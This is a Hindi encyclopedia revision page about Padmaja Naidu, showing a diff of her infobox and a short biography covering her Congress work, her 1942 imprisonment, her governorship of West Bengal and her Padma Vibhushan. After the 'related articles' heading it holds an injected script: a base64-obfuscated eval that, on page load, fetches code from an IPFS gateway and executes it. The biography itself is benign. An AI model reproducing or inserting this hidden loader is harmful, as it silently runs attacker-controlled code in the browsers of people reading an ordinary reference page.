"पद्मजा नायडू": अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
गोविन्द राम (वार्ता | योगदान) No edit summary |
No edit summary |
||
(5 सदस्यों द्वारा किए गए बीच के 12 अवतरण नहीं दर्शाए गए) | |||
पंक्ति 1: | पंक्ति 1: | ||
{{सूचना बक्सा स्वतन्त्रता सेनानी | |||
|चित्र=Padmaja-Naidu.jpg | |||
*17 | |चित्र का नाम=पद्मजा नायडू | ||
*21 | |पूरा नाम=पद्मजा नायडू | ||
* | |अन्य नाम= | ||
*1942 में [[ | |जन्म=[[17 नवंबर]], [[1900]] ई. | ||
*आज़ादी के बाद वह [[संसद]] की सदस्य बनीं और बाद में [[पश्चिम बंगाल]] की पहली महिला [[राज्यपाल]] बनायी गयीं। | |जन्म भूमि= | ||
*लगभग 50 | |मृत्यु=[[2 मई]], [[1975]] | ||
* | |मृत्यु स्थान= | ||
|मृत्यु कारण= | |||
|अभिभावक=[[पिता]]- डॉ. एम. गोविंदराजलु नायडू; [[माता]]- [[सरोजिनी नायडू]] | |||
|पति/पत्नी= | |||
|संतान= | |||
|स्मारक= | |||
|क़ब्र= | |||
|नागरिकता=भारतीय | |||
|प्रसिद्धि=स्वतंत्रता सेनानी तथा [[पश्चिम बंगाल]] की प्रथम महिला [[राज्यपाल]] | |||
|धर्म= | |||
|आंदोलन= | |||
|जेल यात्रा=[[1942]] में '[[भारत छोड़ो आन्दोलन]]' के दौरान। | |||
|कार्य काल= | |||
|विद्यालय= | |||
|शिक्षा= | |||
|पुरस्कार-उपाधि='[[पद्म विभूषण]]' ([[1962]]) | |||
|विशेष योगदान= | |||
|संबंधित लेख= | |||
|शीर्षक 1= | |||
|पाठ 1= | |||
|शीर्षक 2= | |||
|पाठ 2= | |||
|अन्य जानकारी=आप 21 वर्ष की आयु में [[हैदराबाद]] में '[[भारतीय राष्ट्रीय कांग्रेस]]' की संयुक्त संस्थापिका बनायी गई थीं। | |||
|बाहरी कड़ियाँ= | |||
|अद्यतन= | |||
}} | |||
'''पद्मजा नायडू''' ([[अंग्रेज़ी]]: ''Padmaja Naidu'', जन्म- [[17 नवम्बर]], [[1900]]; मृत्यु- [[2 मई]] [[1975]]) प्रसिद्ध भारतीय राजनीतिज्ञ [[सरोजिनी नायडू|श्रीमती सरोजिनी नायडू]] की पुत्री थीं। इन्होंने अपनी माता के समान ही अपना सारा जीवन [[भारत]] के हितों के लिए समर्पित कर दिया था। राष्ट्रीय सेवा और इसके साथ ही उनका मानवीय दृष्टिकोण हमेशा याद किया जाता है। पद्मजा नायडू को सन् [[1962]] में '[[भारत सरकार]]' के सर्वोच्च दूसरे नागरिक पुरस्कार '[[पद्म विभूषण]]' से सम्मानित किया गया था। | |||
==संक्षिप्त परिचय== | |||
*[[सरोजिनी नायडू]] की पुत्री पद्मजा नायडू का जन्म [[17 नवंबर]], [[1900]] में हुआ था। इन पर अपनी देशभक्त माँ का काफ़ी असर था। | |||
*मात्र 21 [[वर्ष]] की आयु में ही पद्मजा नायडू राष्ट्रीय क्षितिज पर उभर चुकी थीं। कुछ ही समय बाद वे [[हैदराबाद]] में '[[भारतीय राष्ट्रीय कांग्रेस]]' की संयुक्त संस्थापिका बनीं। | |||
*पद्मजा नायडू ने विदेशी सामानों के बहिष्कार करने और खादी को अपनाने हेतु लोगों को प्रेरित करने का संदेश दिया और समर्पित अभियान में शामिल हुईं। | |||
*[[वर्ष]] [[1942]] में जब [[महात्मा गाँधी]] ने '[[भारत छोड़ो आंदोलन]]' शुरू किया, तब उस आंदोलन में भाग लेने के कारण उन्हें जेल जाना पड़ा। | |||
*[[भारत]] की आज़ादी के बाद वह [[संसद]] की सदस्य बनीं और बाद में [[पश्चिम बंगाल]] की पहली महिला [[राज्यपाल]] बनायी गयीं। | |||
*लगभग 50 वर्ष के सार्वजनिक जीवन में पद्मजा नायडू [[रेडक्रास]] से भी जुड़ी रहीं और [[1971]] से [[1972]] तक वे इसकी अध्यक्ष भी रहीं। | |||
*पद्मजा नायडू को सन [[1962]] में '[[भारत सरकार]]' के सर्वोच्च दूसरे नागरिक पुरस्कार '[[पद्म विभूषण]]' से सम्मानित किया गया था। | |||
*राष्ट्र के लिए उनकी सेवाएं विशेष रूप से उनका मानवीय दृष्टिकोण हमेशा याद किया जाएगा। | *राष्ट्र के लिए उनकी सेवाएं विशेष रूप से उनका मानवीय दृष्टिकोण हमेशा याद किया जाएगा। | ||
* | *सरोजिनी नायडू की बेटी पद्मजा अपनी माँ की ही तरह देश के लिए समर्पित थीं। | ||
*[[2 मई]] [[1975]] में पद्मजा नायडू का देहावसान हुआ। उनके नाम पर [[दार्जिलिंग]] में '[[पद्मजा नायडू हिमालयन जूलॉजिकल पार्क|पद्मजा नायडू हिमालयन प्राणी उद्यान]]' है। | |||
{{लेख प्रगति|आधार= | {{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }} | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== | ||
<references/> | <references/> | ||
==संबंधित लेख== | ==संबंधित लेख== | ||
{{स्वतन्त्रता सेनानी}} | {{स्वतन्त्रता सेनानी}} | ||
{{पद्म विभूषण}} | |||
[[Category: | [[Category:पद्म विभूषण]][[Category:स्वतन्त्रता सेनानी]] [[Category:राजनीतिज्ञ]][[Category:राजनीति कोश]][[Category:राज्यपाल]] | ||
[[Category: | |||
[[Category: | |||
[[Category: | |||
[[Category: | |||
__INDEX__ | __INDEX__ |
05:48, 17 नवम्बर 2017 के समय का अवतरण
पद्मजा नायडू
| |
पूरा नाम | पद्मजा नायडू |
जन्म | 17 नवंबर, 1900 ई. |
मृत्यु | 2 मई, 1975 |
अभिभावक | पिता- डॉ. एम. गोविंदराजलु नायडू; माता- सरोजिनी नायडू |
नागरिकता | भारतीय |
प्रसिद्धि | स्वतंत्रता सेनानी तथा पश्चिम बंगाल की प्रथम महिला राज्यपाल |
जेल यात्रा | 1942 में 'भारत छोड़ो आन्दोलन' के दौरान। |
पुरस्कार-उपाधि | 'पद्म विभूषण' (1962) |
अन्य जानकारी | आप 21 वर्ष की आयु में हैदराबाद में 'भारतीय राष्ट्रीय कांग्रेस' की संयुक्त संस्थापिका बनायी गई थीं। |
पद्मजा नायडू (अंग्रेज़ी: Padmaja Naidu, जन्म- 17 नवम्बर, 1900; मृत्यु- 2 मई 1975) प्रसिद्ध भारतीय राजनीतिज्ञ श्रीमती सरोजिनी नायडू की पुत्री थीं। इन्होंने अपनी माता के समान ही अपना सारा जीवन भारत के हितों के लिए समर्पित कर दिया था। राष्ट्रीय सेवा और इसके साथ ही उनका मानवीय दृष्टिकोण हमेशा याद किया जाता है। पद्मजा नायडू को सन् 1962 में 'भारत सरकार' के सर्वोच्च दूसरे नागरिक पुरस्कार 'पद्म विभूषण' से सम्मानित किया गया था।
संक्षिप्त परिचय
- सरोजिनी नायडू की पुत्री पद्मजा नायडू का जन्म 17 नवंबर, 1900 में हुआ था। इन पर अपनी देशभक्त माँ का काफ़ी असर था।
- मात्र 21 वर्ष की आयु में ही पद्मजा नायडू राष्ट्रीय क्षितिज पर उभर चुकी थीं। कुछ ही समय बाद वे हैदराबाद में 'भारतीय राष्ट्रीय कांग्रेस' की संयुक्त संस्थापिका बनीं।
- पद्मजा नायडू ने विदेशी सामानों के बहिष्कार करने और खादी को अपनाने हेतु लोगों को प्रेरित करने का संदेश दिया और समर्पित अभियान में शामिल हुईं।
- वर्ष 1942 में जब महात्मा गाँधी ने 'भारत छोड़ो आंदोलन' शुरू किया, तब उस आंदोलन में भाग लेने के कारण उन्हें जेल जाना पड़ा।
- भारत की आज़ादी के बाद वह संसद की सदस्य बनीं और बाद में पश्चिम बंगाल की पहली महिला राज्यपाल बनायी गयीं।
- लगभग 50 वर्ष के सार्वजनिक जीवन में पद्मजा नायडू रेडक्रास से भी जुड़ी रहीं और 1971 से 1972 तक वे इसकी अध्यक्ष भी रहीं।
- पद्मजा नायडू को सन 1962 में 'भारत सरकार' के सर्वोच्च दूसरे नागरिक पुरस्कार 'पद्म विभूषण' से सम्मानित किया गया था।
- राष्ट्र के लिए उनकी सेवाएं विशेष रूप से उनका मानवीय दृष्टिकोण हमेशा याद किया जाएगा।
- सरोजिनी नायडू की बेटी पद्मजा अपनी माँ की ही तरह देश के लिए समर्पित थीं।
- 2 मई 1975 में पद्मजा नायडू का देहावसान हुआ। उनके नाम पर दार्जिलिंग में 'पद्मजा नायडू हिमालयन प्राणी उद्यान' है।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>